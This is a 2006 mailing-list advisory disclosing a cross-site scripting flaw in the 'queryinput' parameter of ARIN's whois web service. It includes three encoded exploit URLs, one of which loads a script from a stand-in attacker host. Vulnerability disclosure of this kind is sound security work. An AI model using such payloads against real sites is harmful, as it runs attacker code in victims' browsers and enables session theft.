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Date: Fri Mar 3 12:05:39 2006
From: Security at peadro.net (Terminal Entry)
Subject: Arin.net XSS
Title
ARIN.NET input validation holes in "?queryinput=" allows remote users conduct cross-site scripting attacks
Notification
Multiple attempts to contact Arin site administrators went unanswered
Exploit Included: Yes
Description
The "?queryinput=" script does not properly validate user-supplied input in several parameters to filter HTML code. A remote user can create a specially crafted URL that, when loaded by a target user, will cause arbitrary scripting code to be executed by the target user's browser.
Some demonstration exploit URLs are provided:
http://ws.arin.net/whois/?queryinput=%3CIMG+SRC%3D%22javascript%3Aalert%28%27XSS%27%29%3B%22%3E
http://ws.arin.net/whois/?queryinput=%3CSCRIPT+SRC%3Dhttp%3A%2F%2FmaliciousCode.net%2Fexploit.js%3E%3C%2FSCRIPT%3E
http://ws.arin.net/whois/?queryinput=%3CIMG+SRC%3D%22javascript%3Aalert%28%27XSS%27%29%3B%22%3E
Discovered by Terminal Entry security [.at.] peadro (.)net
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